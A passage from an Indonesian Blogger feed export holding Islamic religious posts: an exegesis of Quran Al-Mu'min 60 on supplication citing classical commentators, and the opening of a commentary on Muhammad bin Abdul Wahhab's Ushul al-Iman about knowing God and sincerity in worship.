‘alaihi wa sallam :&lt;br /&gt;لَا يَرْحَمُ اللَّهُ مَنْ لَا يَرْحَمُ النَّاسَ&lt;br /&gt;“Allah tidak akan menyayangi siapa saja yang tidak menyayangi manusia.”&lt;br /&gt;(Shahih Al-Bukhari 9/115 no.7376)&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: #cc0000;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;
&lt;div align="center"&gt;
&lt;span style="color: #cc0000;"&gt;&lt;strong&gt;Surat Al-Mu'min ayat ke-60&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style="color: #cc0000;"&gt;&lt;strong&gt;&lt;br /&gt;&lt;br /&gt;Allah berfirman :&lt;span class="bbc_size" style="font-size: 14pt;"&gt;&lt;br /&gt;وَقَالَ
 رَبُّكُمُ ادْعُونِي أَسْتَجِبْ لَكُمْ إِنَّ الَّذِينَ يَسْتَكْبِرُونَ 
عَنْ عِبَادَتِي سَيَدْخُلُونَ جَهَنَّمَ دَاخِرِينَ &lt;/span&gt;“Dan 
Rabb-mu berfirman: "Berdoalah kepada-Ku, niscaya akan Kuperkenankan 
bagimu. Sesungguhnya orang-orang yang menyombongkan diri dari 
menyembah-Ku akan masuk neraka Jahannam dalam keadaan hina dina".&lt;br /&gt;(Q.S Al-Mu’min ayat 60)&lt;br /&gt;&lt;br /&gt;Tentang firman Allah :&lt;br /&gt;"Berdoalah kepada-Ku, niscaya akan Kuperkenankan bagimu..”&lt;br /&gt;&lt;br /&gt;Maka,
 ini merupakan salah satu karunia, keutamaan dan kemurahan yang Allah 
berikan kepada umat ini, dan bahwa setelah Allah memerintahkan kepada 
hamba2-Nya untuk berdo’a kepada-Nya, maka Dia-pun mengharuskan Diri-Nya 
sendiri untuk mengabulkan do’a2 hamba2-Nya tersebut, dan Dia juga akan 
mencintai mereka atas do’a2 yang mereka panjatkan kepada-Nya. Semakin 
banyak seorang hamba berdo’a, maka Allah-pun akan semakin mencintai-Nya.&lt;br /&gt;&lt;br /&gt;Al-Hafizh ibnu Katsir rahimahullah mengatakan :&lt;br /&gt;هذا
 من فضله تبارك وتعالى وكرمه أنه ندب عباده إلى دعائه وتكفل لهم بالإجابة 
كما كان سفيان الثوري يقول: يا من أحب عباده إليه من سأله فأكثر سؤاله, ويا
 من أبغض عباده إليه من لم يسأله وليس أحد كذلك غيرك يا رب&lt;br /&gt;“Hal ini 
merupakan keutamaan dan kemuliaan dari Allah tabaraka wa ta’ala bahwa 
Dia menganjurkan kepada hamba2-Nya agar berdo’a kepada-Nya dan 
menjanjikan untuk mereka dengan pengabulan (atas do’a2 tersebut).&lt;br /&gt;Sebagaimana
 dikatakan Sufyan Ats-Tsauri rahimahullah : “Wahai (Allah) yang sangat 
mencintai hamba2-Nya yang meminta kepada-Nya dan kemudian memperbanyak 
permintaan kepada-Nya.”&lt;br /&gt;(Tafsir ibnu Katsir 7/154)&lt;br /&gt;&lt;br /&gt;Kemudian, 
ditambahkan pula bahwa perintah dalam ayat ini adalah juga untuk 
beribadah hanya kepada Allah semata dan tidak menyekutukan Allah dengan 
sesuatupun. Dan atas hal ini, maka Allah akan memberikan ampunan-Nya, 
pahala-Nya, rahmat-Nya dan juga mengabulkan do’a2 bagi siapapun diantara
 hamba2-Nya yang mau beribadah kepada-Nya dengan ikhlas tanpa 
menyekutukan Allah dengan sesuatu apapun.&lt;br /&gt;&lt;br /&gt;Ibnu Jarir Ath-Thabari rahimahullah mengatakan :&lt;br /&gt;وقوله
 : ( وَقَالَ رَبُّكُمُ ادْعُونِي أَسْتَجِبْ لَكُمْ ) يقول تعالى ذكره : 
ويقول ربكم أيها الناس لكم ادعوني : يقول : اعبدوني وأخلصوا لي العبادة دون
 من تعبدون من دوني من الأوثان والأصنام وغير ذلك( أَسْتَجِبْ لَكُمْ ) 
يقول : أُجِبْ دعاءكم فأعفو عنكم وأرحمكم.&lt;br /&gt;“Firman Allah : “Berdoalah 
kepada-Ku, niscaya akan Kuperkenankan bagimu”, maka Allah berfirman 
bahwa wahai manusia, Rabb kalian telah berfirman hendaklah kalian 
berdo’a kepada-Ku, dan Dia juga berfirman bahwa hendaknya kalian 
beribadah kepada-Ku, dan ikhlaskanlah ibadah kalian itu tanpa 
menyekutukan-Ku dengan selain Aku dari hal berhala2, patung2, dan yang 
selainnya.&lt;br /&gt;(…………………..) dan Allah berfirman bahwa Aku akan mengabulkan
 do’a kalian, kemudian akan Aku ampuni kalian dan akan Aku rahmati 
kalian.”&lt;br /&gt;(Jami’ul-Bayan 21/406)&lt;br /&gt;&lt;br /&gt;Al-Qurthubi rahimahullah mengatakan :&lt;br /&gt;قوله
 تعالى : وقال ربكم ادعوني أستجب لكم الآية . روى النعمان بن بشير قال : 
سمعت النبي - صلى الله عليه وسلم - يقول : الدعاء هو العبادة ثم قرأ وقال 
ربكم ادعوني أستجب لكم إن الذين يستكبرون عن عبادتي سيدخلون جهنم داخرين 
قال أبو عيسى : هذا حديث حسن صحيح . فدل هذا على أن الدعاء هو العبادة . 
وكذا قال أكثر المفسرين وأن المعنى : وحدوني واعبدوني أتقبل عبادتكم وأغفر 
لكم &lt;br /&gt;“Firman Allah ta’ala : “Berdoalah kepada-Ku, niscaya akan 
Kuperkenankan bagimu.”, maka Nu’man bin Basyir radhiyallaahu ‘anhu telah
 meriwayatkan bahwa Nabi shallallaahu ‘alaihi wa sallam bersabda : “Do’a
 itu adalah ibadah” lalu Nabi shallallaahu ‘alaihi wa sallam membaca 
ayat : “Dan Rabb-mu berfirman:&amp;nbsp; “Berdoalah kepada-Ku, niscaya akan 
Kuperkenankan bagimu. Sesungguhnya orang-orang yang menyombongkan diri 
dari menyembah-Ku akan masuk neraka Jahannam dalam keadaan hina dina". 
(Abu Isa at-Tirmidzi rahimahullah mengatakan bahwa hadits ini : “Hasan 
shahih.”)&lt;br /&gt;Hadits ini menunjukan bahwa do’a itu adalah ibadah. &lt;br /&gt;Demikianlah
 yang dikatakan oleh kebanyakan ahli tafsir dan bahwasannya makna ayat 
ini adalah (bahwa Allah berfirman) : “Tauhidkanlah Aku, dan beribadahlah
 kepada-Ku, niscaya akan aku terima ibadah2 kalian dan akan Aku ampuni 
dosa2 kalian.”&lt;br /&gt;(Al-Jami’ li Ahkam al-Quran 18/374-375)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Adapun tentang firman Allah :&lt;br /&gt;“Sesungguhnya orang-orang yang menyombongkan diri dari menyembah-Ku akan masuk neraka Jahannam dalam keadaan hina dina".&lt;br /&gt;&lt;br /&gt;Yakni
 bahwa Allah membenci orang2 yang tidak mau berdo’a kepada-Nya ataupun 
tidak mau beribadah kepada-Nya dan tidak mau mentauhidkan Allah dalam 
do’a atau ibadahnya itu, maka Allah mengancam mereka dengan siksaan 
Jahanam.&lt;br /&gt;&lt;br /&gt;Al-Hafizh ibnu Katsir rahimahullah mengatakan bahwa Sufyan Ats-Tsauri rahimahullah mengatakan :&lt;br /&gt;ويا من أبغض عباده إليه من لم يسأله وليس أحد كذلك غيرك يا رب&lt;br /&gt;“Wahai (Allah) yang sangat murka kepada hamba2-Nya yang tidak mau meminta kepada-Nya,…&lt;br /&gt;&lt;br /&gt;Dan Al-Hafizh rahimahullah juga mengatakan :&lt;br /&gt;وقوله عز وجل: {إن الذين يستكبرون عن عبادتي} أي عن دعائي وتوحيدي سيدخلون جهنم داخرين&lt;br /&gt;“Dan
 firman Allah ‘azza wa jalla : “Sesungguhnya orang-orang yang 
menyombongkan diri dari menyembah-Ku”, yakni (Allah berfirman) bahwa 
barangsiapa yang menyombongkan diri dari berdo’a kepada-Ku, dan tidak 
mau mentauhidkan-Ku, maka dia akan masuk ke dalam Jahanam dalam keadaan 
hina dina.”&lt;br /&gt;(Tafsir ibnu Katsir 7/156)&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: #cc0000;"&gt;&lt;b&gt;&lt;br /&gt;Wallaahu a'lam.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="bbc_u"&gt;&lt;strong&gt;Note :&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;Berikut perkataan para ulama mengenai para perawi dari riwayat ibnu Jarir rahimahullah tersebut.....&lt;br /&gt;&lt;span class="bbc_color"&gt;&lt;strong&gt;(1)&lt;/strong&gt;&lt;/span&gt; Bisyr bin Mu’adz al-‘Aqdi adh-Dharir&lt;br /&gt;Abi Hatim rahimahullah mengatakan bahwa ia : “Shalihul-hadits, shaduq.” &lt;br /&gt;(Al-Jarh wa At-Ta’dil 2/369)&lt;br /&gt;&lt;br /&gt;&lt;span class="bbc_color"&gt;&lt;strong&gt;(2)&lt;/strong&gt;&lt;/span&gt; Yazid bin Zurai’ Al-‘Aisy, Abu Mu’awiyah Al-Bashri&lt;br /&gt;Yahya bin Sa’id rahimahullah mengatakan : “Tidak ada di bagi kami yang lebih tsabit dibandingkan Yazid bin Zurai’.”&lt;br /&gt;Abi Hatim rahimahullah mengatakan : “Imam Tsiqah.”&lt;br /&gt;Yahya bin Ma’in rahimahullah mengatakan : “Tsiqah.”&lt;br /&gt;(Al-Jarh wa At-Ta’dil 9/264)&lt;br /&gt;&lt;br /&gt;&lt;span class="bbc_color"&gt;&lt;strong&gt;(3)&lt;/strong&gt;&lt;/span&gt; Sa’id, ia adalah Sa’id bin Abi Arubah, Abu Nadhr al-Bashri.&lt;br /&gt;Yahya bin Ma’in rahimahullah mengatakan bahwa ia adalah : “Tsiqah.”&lt;br /&gt;Imam An-Nasa’i rahimahullah mengatakan : “Tsiqah.”&lt;br /&gt;Abu Zur’ah rahimahullah mengatakan : “Tsiqah ma’mun.”&lt;br /&gt;Ibnu Abi Khaitsamah rahimahullah mengatakan : “Sa’id bin Abi Arubah adalah orang yang paling tsabit dalam riwayatnya Qatadah.”&lt;br /&gt;(Tahdzib At-Tahdzib 4/63)&lt;br /&gt;&lt;br /&gt;&lt;span class="bbc_color"&gt;&lt;strong&gt;(4)&lt;/strong&gt;&lt;/span&gt; Qatadah bin Di’amah, Abul-Khathab as-Sadusi&lt;br /&gt;Beliau adalah salah seorang ahli tafsir dari kalangan tabi’in.&lt;br /&gt;Beliau
 mengambil ilmu dari beberapa sahabat Nabi shallallaahu ‘alaihi wa 
sallam, diantaranya dari Anas bin Malik radhiyallaahu ‘anhu.&lt;br /&gt;Imam Ahmad rahimahullah mengatakan : “Qatadah adalah orang yang ‘alim dalam tafsir Al-Quran.”&lt;br /&gt;Imam Ahmad rahimahullah juga mengatakan : “Qatadah adalah orang yang paling hafizh diantara penduduk Bashrah.”&lt;br /&gt;(Tadzkiratul-Huffazh 1/92-93)&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #cc0000;"&gt;&lt;b&gt;&amp;nbsp;Segala sesuatunya. Kebaikan ataupun keburukan yang kita lakukan ataupun yang menimpa kita.&lt;br /&gt;Kebahagiaan yang dirasakan, ataupun penderitaan yang di alami, maka Allah mengetahui dan menyaksikan-Nya.&lt;br /&gt;Dan semuanya, nantinya akan dikumpulkan dan dibalas sesuai dengan penyikapan seseorang atas kedua hal tersebut.&lt;br /&gt;Jika
 seseorang bersyukur atas kebahagiaan yang dirasakan, dan bersabar atas 
penderitaan yang dialami, maka Allah akan memberikan balasan yang 
terbaik kepadanya.&lt;br /&gt;Allah berfirman :&lt;br /&gt;"Sesungguhnya jika kamu bersyukur, pasti Kami akan menambah (nikmat) kepadamu."&lt;br /&gt;(Q.S Ibrahim ayat 7)&lt;br /&gt;&lt;br /&gt;Dan Allah berfirman :&lt;br /&gt;"Dan Dia memberi balasan kepada mereka karena kesabaran mereka (dengan) surga dan (pakaian) sutera."&lt;br /&gt;(Q.S Al-Insan ayat 12)&lt;br /&gt;&lt;br /&gt;Dan Nabi shallallaahu 'alaihi wa sallam pernah bersabda :&lt;br /&gt;عجبا لأمر المؤمن إن أمره كله خير وليس ذاك لأحد إلا للمؤمن إن أصابته سراء شكر فكان خيرا له وإن أصابته ضراء صبر فكان خيرا له &lt;br /&gt;"Sungguh
 mengagumkan urusan seorang mu'min. Sesungguhnya setiap urusannya adalah
 baik, dan tidaklah hal itu terjadi kecuali kepada diri seorang mu'min.&lt;br /&gt;Apabila dia mendapatkan kesenangan, ia bersyukur. Dan bersyukur itu adalah baik baginya.&lt;br /&gt;Apabila ia tertimpa kemudharatan, maka ia bersabar. Dan bersabar itu adalah baik baginya."&lt;br /&gt;(Shahih Muslim 4/2295 no.2999)&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><author>noreply@blogger.com (alifbraja)</author></item><item><title>SYARAH KITAB USHUL AL-IMAN karangan IMAM MUHAMAD BIN ABDUL WAHHAB RAHIMAHULLAHU TA'ALA</title><link>http://alifbraja.blogspot.com/2013/08/syarah-kitab-ushul-al-iman-karangan.html</link><pubDate>Wed, 7 Aug 2013 20:27:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3583651196583340588.post-7792333716341331793</guid><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;span style="color: magenta;"&gt;&lt;u&gt;أشهد أن لا اله الا الله و أشهد أن محمدا رسول الله&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class="entry-content"&gt;
		&lt;div style="text-align: center;"&gt;
&lt;span style="color: magenta;"&gt;&lt;u&gt;SYARAH KITAB USHUL AL-IMAN KARANGAN IMAM MUMAHAMAD BIN ABDUL WAHHAB.&lt;/u&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;span style="color: magenta;"&gt;&lt;u&gt;Disyarah oleh, Abuz Zubair Hawaary.&lt;/u&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style="color: magenta;"&gt;&lt;u&gt;BAB : MAKRIFATULLAH AZZA WA JALLA WAL IMAN BIHI&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;Al-Imam Muhammad bin Abdul Wahhab memulai kitab Ushulul Iman-nya 
dengan pembahasan mengenai Makrifatullah wal Iman Bihi, maksudnya ; bab 
yang membahas tentang pengenalan terhadap Allah Azza wa Jalla dan 
bagaimana cara mengimaninya.&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;Sesuai dengan materi kitab ini yang membahas pokok-pokok keimanan, 
maka seyogyanyalah, masalah makrifatullah ini dahulukan sebagaimana yang
 dilakukan imam dalam kitabnya ini begitu juga kitab beliau yang lainnya
 seperti Al-Ushul Ats-Tsalatsah.&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;Yang dimaksud dengan makrifutullah yaitu ; mengenal Allah Azza wa 
Jalla dengan hati, pengenalan yang mendorong seseorang untuk menerima 
apa yang disyari’atkan-Nya serta tunduk dan patuh kepada-Nya, dan 
berhukum dengan syari’at-Nya yang telah dibawa oleh Rasul-Nya Muhammad 
shollallahu ‘alaihi wasallama.&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;Seorang hamba dapat mengenal Robb-nya dengan beberapa hal, 
diantaranya; dengan melihat dan men-tadabburi ayat-ayat syar’iyyah yanga
 ada dalama Kitabullah Azza wa Jalla dan Sunnah Rasul-Nya shollallahu 
‘alaihi wasallama, ayat-ayat Kauniyah yaitu makhluk-makhluk ciptaan 
Allah Ta’ala. Sesungguhnya manusia setiap kali ia melihat dan 
men-tadabburi ayat-ayat tersebut bertambahlah ilmunya terhadap Sang 
Pencipta yang diibadati-Nya, Allah Ta’ala berfirman :&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;“Dan dibumi ada tanda-tanda bagi orang-orang yang yakin, dan begitu 
juga didalam diri kalian sendiri, maka apakah kalian tidak melihat?”. 
(QS : Adz-Dzariyat : 20-21).&lt;a href="http://abuzubair.net/syarah-kitab-ushul-al-iman-karangan-imam-muhamad-bin-abdul-wahhab-rahimahullahu-taala/#_ftn1" name="_ftnref1"&gt;[1]&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;
&lt;span style="color: magenta;"&gt;&lt;u&gt;&lt;span id="more-53"&gt;&lt;/span&gt;&lt;br /&gt;
Ibnul Qoyyim Al-Jauziyah – semoga Allah merahmatinya -menjelaskan, 
“Ar-Robbu Tabaroka wa Ta’ala mengajak hamba-hamba-Nya didalam Al-Quran 
Al-Karim untuk mengenal-Nya dengan dua cara :&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;Pertama : melihat dan merenungi makhluk-makhluk-Nya.&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;Kedua : tafakkur dan tadabbur ayat-ayat-Nya.&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;Yang pertama adalah ayat-ayat-Nya yang dapat disaksikan, dan yang kedua ayat-ayat-Nya yang didengar dan dipahami.&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;Jenis yang pertama&amp;nbsp; seperti firman Allah :&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;“Sesungguhnya pada penciptaan langit dan bumi, dan pergantian malam 
dan siang, dan kapal yang berlayar dilaut dengan apa yang mendatangkan 
manfaat bagi manusia …”. (QS : Al-Baqoroh 164)&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;“Sesungguhnya pada penciptaan langit dan bumi, dan pergantian malam 
dan siang ada tanda-tanda bagi orang-orang yang berakal”. (QS : Ali 
Imron : 190)&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;Dan yang kedua seperti firman-Nya :&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;“Maka apakah mereka tidak mentadabburi Al-Qu’an?”. (QS : An-Nisa’ : 84)&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;“Kitab yang Kami telah menurunkan-Nya kepadamu dengan diberkati agar mereka mentadabburi ayat-ayatnya”. (QS. Shood : 29).&lt;a href="http://abuzubair.net/syarah-kitab-ushul-al-iman-karangan-imam-muhamad-bin-abdul-wahhab-rahimahullahu-taala/#_ftn2" name="_ftnref2"&gt;[2]&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;Kemudian Ibnul Qoyyim menjelaskan bahwasanya adanya makhluk ini 
menunjukkan adanya perbuatan, dan perbuatan menunjukkan atas sifat yang 
dimiliki pembuatnya yaitu ; wujud, Qudroh, Masyi-ah, dan Ilmu. Karena 
mustahil perbuatan tersebut muncul begitu saja dari sesuatu yang tidak 
ada atau dari yang ada tapi tidak memiliki kekuasaan, kehidupan dan 
ilmu.&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;Apa yang ada pada makhluk-makhluk berupa manfaat dan kebaikan 
menunjukkan atas rahmat Allah, musibah, kekerasan, hukuman menunjukkan 
murka-Nya, pemulian, pendekatan dan perhatian yang ada pada ciptaan-Nya 
menunjukkan Mahabbah-Nya, dan permulaan sesuatu dari sedikit dan lemah 
kemudian menjadi sempurna dan habis menunjukkan terjadinya kiamat, dan 
keadaan-keadaan tumbuhan, hewan, serta pengaturan air menunjukkan bahwa 
hari berbangkit itu mungkin dan tidak mustahil …&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;Intinya, apa-apa yang telah diciptakan atau dilakukan Allah adalah 
dalil atau burhan yang &amp;nbsp;paling menunjukkan atas sifat-sifat-Nya, dan 
kebenaran apa yang telah diberitakan oleh rasul-rasul-Nya.&lt;a href="http://abuzubair.net/syarah-kitab-ushul-al-iman-karangan-imam-muhamad-bin-abdul-wahhab-rahimahullahu-taala/#_ftn3" name="_ftnref3"&gt;[3]&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;Makrifatullah itu ada dua macam :&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;Pertama : makrifah iqror, yaitu yang sama semua manusia dalam hal 
ini, baik yang sholeh maupun yang keji, yang ta’at ataupun yang 
bermaksiat.&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;Kedua : makrifah yang menimbulkan rasa malu terhadap-Nya, cinta 
kepada-Nya, keterikatan hati dengan-Nya, rindu bertemu dengan-Nya, takut
 terhadap-Nya, kembali kepada-Nya, tenang dengan-Nya dan lari dari 
makhluk kepada-Nya.&lt;a href="http://abuzubair.net/syarah-kitab-ushul-al-iman-karangan-imam-muhamad-bin-abdul-wahhab-rahimahullahu-taala/#_ftn4" name="_ftnref4"&gt;[4]&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;HADITS PERTAMA :&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;div dir="rtl"&gt;
&lt;span style="color: magenta;"&gt;&lt;u&gt;&lt;strong&gt;عَنْ أَبِيهِ عَنْ أَبِي هُرَيْرَةَ قَالَ قَالَ 
رَسُولُ اللَّهِ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ قَالَ اللَّهُ 
تَبَارَكَ وَتَعَالَى أَنَا أَغْنَى الشُّرَكَاءِ عَنْ الشِّرْكِ مَنْ 
عَمِلَ عَمَلًا أَشْرَكَ فِيهِ مَعِي غَيْرِي تَرَكْتُهُ وَشِرْكَهُ &lt;/strong&gt;&lt;/u&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style="color: magenta;"&gt;&lt;u&gt;Artinya : Dari Abu Hurairah semoga Allah meridhoinya ia berkata, 
“Telah bersabda Rasulullah shollallahu ‘alaihi wasallama, ‘Telah 
berfirman Allah Ta’ala, ‘Aku adalah yang paling tidak membutuhkan 
sekutu, barangsiapa yang mengerjakan suatu amalan, ia mensekutukanKu 
dengan selainKu dalam amalan tersebut, niscaya Aku tinggakan ia dan 
sekutunya”.&lt;a href="http://abuzubair.net/syarah-kitab-ushul-al-iman-karangan-imam-muhamad-bin-abdul-wahhab-rahimahullahu-taala/#_ftn5" name="_ftnref5"&gt;[5]&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;SYARAH :&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;Hadits yang mulia ini adalah hadits Qudsi yang diriwayatkan 
Rasulullah dari Robb-Nya Tabaroka wa Ta’ala. Menjelaskan tentang 
kewajiban mengikhlaskan amal ibadah untuk Allah semata dan bahwasanya 
Allah Ta’ala tidak menerima amalan melainkan yang ikhlas untuk-Nya 
semata, bersih dari riya, sum’ah dan keinginan-keinginan duniwi lainnya.&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;Ikhlas merupakan salah satu syarat diterimanya amalan disisi Allah,&amp;nbsp; 
setiap amalan yang tidak diniatkan untuk-Nya atau ternodai oleh sesuatu 
selain-Nya maka amalan tersebut sia-sia belaka, dan dihari kiamat 
pelakunya akan ditinggalkan Allah bersama orang-orang yang ia dulu riya 
terhadapnya.&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;Yang demikian itu karena riya’ adalah perbuatan syirik, dengan riya’ 
pelaku telah membuat tandingan bagi Allah, dan barangsiapa yang 
melakukan syirik maka rusaklah amalannya.&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;banyak sekali nash-nash yang mencela riya dan pelakunya, baik dari Al-Qur’an maupun As-Sunnah, diantaranya firman Allah Ta’ala :&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;“Maka celakalah bagi orang-orang yang sholat. Yaitu orang-orang yang 
lalai dari sholatnya, orang-orang riya’ dalam sholatnya”. (QS. Al-Ma’un :
 4-6)&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;“Maka barangsiapa yang mengharapkan pertemuan dengan Robb-nya maka 
hendaklah ia beramal sholeh dan tidak mensekutukan Robb-nya dengan 
sesuatupun dalam ibadahnya”. (QS. Al-Kahfi : 110)&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;Adapun dari Sunnah diantaranya hadits yang sedang kita bahas, dan hadits :&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;div dir="rtl"&gt;
&lt;span style="color: magenta;"&gt;&lt;u&gt;&lt;strong&gt;إن أخوف ما أخاف عليكم الشرك الأصغر ، قالوا : و ما الشرك الأصغر ؟ قال&lt;/strong&gt;&lt;strong&gt; &lt;/strong&gt;&lt;strong&gt;الرياء ، يقول الله عز وجل لأصحاب ذلك يوم القيامة إذا جازى الناس : اذهبوا إلى&lt;/strong&gt;&lt;strong&gt; &lt;/strong&gt;&lt;strong&gt;الذين كنتم تراءون في الدنيا ، فانظروا&lt;/strong&gt;&lt;strong&gt; &lt;/strong&gt;&lt;strong&gt;هل تجدون عندهم جزاء ؟!&lt;/strong&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/u&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style="color: magenta;"&gt;&lt;u&gt;“Sesungguhnya paling aku takutkan atas kalian adalah syirik kecil”, 
mereka berkata, ‘Apa itu syirik kecil?’ beliau bersabda, ‘Riya, Allah 
Ta’ala berkata kepada mereka pada hari kiamat apabila ia memberikan 
balasan kepada manusia atas amalan mereka, ‘Pergilah kalian kepada 
orang-orang yang dulu kalian riya kepada mereka di dunia, adakah kalian 
mendapatkan sesuatu disisi mereka?’.&lt;a href="http://abuzubair.net/syarah-kitab-ushul-al-iman-karangan-imam-muhamad-bin-abdul-wahhab-rahimahullahu-taala/#_ftn6" name="_ftnref6"&gt;[6]&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;Dari Ibnu Abbas – semoga Allah meridhoi keduanya – ia berkata, “Aku 
telah mendengar Rasulullah shollallahu ‘alaihi wasallama bersabda,&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;div dir="rtl"&gt;
&lt;span style="color: magenta;"&gt;&lt;u&gt;&lt;strong&gt;مَنْ سَمَّعَ سَمَّعَ اللَّهُ بِهِ وَمَنْ رَاءَى رَاءَى اللَّهُ بِه&lt;/strong&gt;&lt;/u&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style="color: magenta;"&gt;&lt;u&gt;‘Barangsiapa yang memperdengarkan, Allah akan memperdengarkannya 
dengannya, dan barangsiapa yang yang memperlihat-lihatkan, Allah akan 
memperlihatkannya dengannya’.&lt;a href="http://abuzubair.net/syarah-kitab-ushul-al-iman-karangan-imam-muhamad-bin-abdul-wahhab-rahimahullahu-taala/#_ftn7" name="_ftnref7"&gt;[7]&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;Imam An-Nawawi menjelaskan makna hadits ini, “Ulama mengatakan, 
‘Barangsiapa yang memperlihatkan amalannya dan memperdengarkannya kepada
 manusia agar mereka memuliakan dan menghormatinya serta meyakini 
kebaikannya, maka Allah akan memperdengarkannya dihari kiamat kepada 
manusia, dan membongkar keburukan (niatnya)”.&lt;a href="http://abuzubair.net/syarah-kitab-ushul-al-iman-karangan-imam-muhamad-bin-abdul-wahhab-rahimahullahu-taala/#_ftn8" name="_ftnref8"&gt;[8]&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;Ada makna lain yang dinukilkan Imam An-Nawawi, yaitu : Allah 
memperlihatkan pahalanya tanpa memberikan kepadanya agar menjadi 
penyesalan baginya. Atau barangsiapa yang meniatkan untuk manusia dalam 
amalannya Allah akan perdengarkan kepada manusia pada hari kiamat dan 
itulah bagian yang akan didapatnya.&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;u&gt;Berkata Al-Khoth-thobi, “Maknanya; barangsiapa yang beramal tidak 
ikhlas, ia melakukannya agar manusia melihat dan mendengarnya, akan 
diganjar atas perbuatannya tersebut, dihari kiamat Allah membongkar apa 
yang disembunyikannya”.&lt;a href="http://abuzubair.net/syarah-kitab-ushul-al-iman-karangan-imam-muhamad-bin-abdul-wahhab-rahimahullahu-taala/#_ftn9" name="_ftnref9"&gt;[9]&lt;/a&gt; (bersambung)&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;hr size="1" /&gt;
